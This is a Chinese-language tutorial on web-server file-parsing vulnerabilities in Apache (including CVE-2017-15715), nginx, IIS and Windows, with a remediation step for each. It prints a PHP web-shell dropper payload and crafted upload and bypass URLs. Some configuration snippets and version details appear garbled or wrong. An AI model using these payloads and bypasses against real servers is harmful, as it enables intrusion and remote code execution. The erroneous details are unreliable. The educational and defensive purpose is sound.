文件解析漏洞是指由于應(yīng)用程序?qū)ι蟼鞯奈募愋秃蛢?nèi)容沒有充分的驗證和過濾,導(dǎo)致一些特殊文件被 IIS、apache、nginx 或其他 Web服務(wù)器在某種情況下解釋成腳本文件執(zhí)行。導(dǎo)致攻擊者可以上傳惡意文件,繞過應(yīng)用程序的安全限制,執(zhí)行惡意代碼或者訪問敏感數(shù)據(jù)的漏洞。
常見解析漏洞:
apache解析漏洞
Apache解析漏洞主要是因為Apache默認(rèn)一個文件可以有多個用.分割得后綴,當(dāng)最右邊的后綴無法識別(mime.types文件中的為合法后綴)則繼續(xù)向左看,直到碰到合法后綴才進(jìn)行解析(以最后一個合法后綴為準(zhǔn))
例如:
dff.php.owf.rar 這個文件名 .owf和.rar 這兩種后綴是apache不可識別的解析,apache就會把 dff.php.owf.rar解析成 dff.php 。
其實漏洞的產(chǎn)生, 是由于運維人員在配置服務(wù)器時,為了使 apache 服務(wù)器能解析 php ,而自己添加一個handler,它的作用也是為了讓 apache 把 php 文件交給 php_module 解析 , 但是注意到它與 SetHandler: 它的后綴不是用正則去匹配的。所以 ,在文件名的任何位置匹配到php后綴,它都會讓php_module解析。
AddType application/xhttpdphp .php
修復(fù):不要使用AddHandler, 改用 SetHandler, 寫好正則 , 就不會有解析問題
Apache換行解析漏洞(CVE-2017-15715)
影響范圍:2.4.0-2.4.29版本
原因:合法后綴配置文件中的正則表達(dá)式中$不僅匹配字符串結(jié)尾位置,還可以匹配\n或\r,在解析php時,1.php\x0A將按照.php進(jìn)行解析,而’.php\x0A’ != ‘.php’,可能過濾時過濾了.php但沒有過濾.php\x0A從而實現(xiàn)繞過。
配置文件:過濾后綴名.php
<FilesMatch \.php$>
SetHandler application/x-httpd-php
<FilesMatech>`>
可以看到在正則中是 \.php$, 因為結(jié)尾有個 $ 符號,結(jié)合上述原理, $ 匹配配 '\n' 或 '\r' ,所以我們修改數(shù)據(jù)包在文件名后加\n , \n 的十六進(jìn)制為 0a
修復(fù):
升級到最新版本
在httpd.conf中加入其他正則表達(dá)式。
nginx解析漏洞
nginx<8.03
由于nginx默認(rèn)是用cgi解析php的(即開啟fast-cgi模式),由于nginx.conf的如下配置導(dǎo)致nginx把以’.php’結(jié)尾的文件交給fastcgi處理,對于任意文件名,在后面添加/xxx.php(xxx)為任意字符后,即可將文件作為php解析,因此和IIS一樣制作圖片馬。
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
直接訪問http://xx.xx.xx.xx/1.jpg/.php
修復(fù):
1、 將php.ini文件中的cgi.fix_pathinfo的值設(shè)置為0
2、 php-fpm.conf中的security.limit_extensions后面的值設(shè)置為.php
nginx 0.5,0.6, 0.7 <= 0.7.65, 0.8 <= 0.8.37
nginx遇到%00后和fastcgi解析不一致,所以可以上傳一個1.jpg圖片馬,然后訪問http://xx.xx.xx.xx/1.jpg%00.php,這樣就將jpg文件當(dāng)做php文件執(zhí)行了。
修復(fù):
升級nginx版本
IIS解析漏洞
IIS 5.0/6.0
在某個.asp(.php)文件名的文件夾下的任何文件都將作為asp(php)文件執(zhí)行,
即假設(shè)你能控制文件目錄名,可以改變文件名為.asp(.php),然后寫入一個jpg圖片馬,訪問http://xx.xx.xx.xx/1.php/1.jpg可以連接
修復(fù):
升級IIS版本
IIS 6.0
如xx.asp;.jpg,由于IIS不解析;后面的內(nèi)容,所以就將此文件當(dāng)成xx.asp進(jìn)行解析,可以利用,同時IIS還可以解析xx.asa xx.cer xx.cdx文件
修復(fù):微軟認(rèn)為這不是一個漏洞,所以要自己修復(fù)。
限制上傳目錄執(zhí)行權(quán)限,不允許執(zhí)行腳本。
不允許新建目錄。
上傳的文件經(jīng)過重命名
IIS 7.x
利用條件:在php.ini里修改cgi.cgi_pathinfo=1,在fast-cgi模式下運行
當(dāng)在一個文件路徑(/xx.jpg)后面加上/xx.php會將/xx.jpg/xx.php 解析為 php 文件。
制作圖片馬,在當(dāng)前位置下新建一個shell后門文件
Payload :<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
訪問 圖片后面加 /xx.php即可解析
修復(fù):
配置cgi.fix_pathinfo(php.ini中)為0(默認(rèn)情況下值為1)并重啟php-cgi程序。
windows解析漏洞
上傳jsp%20的文件或者jsp.,windows會刪除.和空格
上傳jsp::DATA文件,windows會不檢測DATA后面的后綴名,且保留DATA之前的文件名
上傳不規(guī)則字符如 2.jsp:1.php ,windows會刪除不規(guī)則:符號后面的內(nèi)容
該文章在 2023/12/7 12:31:21 編輯過